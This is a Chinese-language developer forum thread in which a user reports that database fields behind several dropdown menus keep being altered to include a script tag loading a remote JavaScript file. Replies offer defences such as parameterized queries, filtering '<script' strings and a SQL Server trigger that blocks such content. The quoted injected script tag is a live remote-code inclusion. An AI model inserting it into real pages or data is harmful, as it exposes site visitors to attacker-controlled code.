情况是这样的,就只有1个页面被入侵,该页面有4个DropDownlist 菜单联动,都是从数据库取的数据。
运行一段时间后发现,4个DropDownlist 都被加入了一段相同的代码 <script src=http://3b3.org/c.js></script>
检查数据后后发现,是数据库相应字段的内容都被改了。
             我只好隔一段时间就手动update一次。
             注:整个网站我都做了防SQL注入。
   请求帮助!   

解决方案 »

  1.   

    你的防SQL注入,怎么防的?
    过滤危险的字符
    使用带参数的存储过程,最好不好使用拼接SQL语句的方式查一下原来asp.net版有一个专门sql注入的帖子
      

  2.   

    http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
      

  3.   

    org?你被政府的互联网整顿小组盯上了
      

  4.   

    最安全的方式就是用数据库的规则,增加一个规则,凡是含有<script src= 字样的,都不给通过!
      

  5.   

    过滤非法字符串啊
    我以前就碰到过
    比如< script
    什么的 用别的符号代替
    读出来的时候再转换出来
      

  6.   

    肯定是没有过滤<script 这样的字符......
      

  7.   

    插入数据时用Replace替换掉一些诸如<html><script>的字符串试试
    然后再插入数据
      

  8.   

    我不明白的是,为什么就那个dropdownlist 页面会这样.
    而且我查过数据库,没有script的相关内容
      

  9.   

    写触发器,如果含有<script 就不给新增或修改
      

  10.   


    触发器
    create trigger tr_table_insertupdate
    on tablename
    for insert,update
    as
    if exists (
      select 1 from inserted 
      where data like '%</script>%'
      )
    begin
           RAISERROR ('不能修改或者添加',16,1);
           ROLLBACK TRANSACTION
    end
    go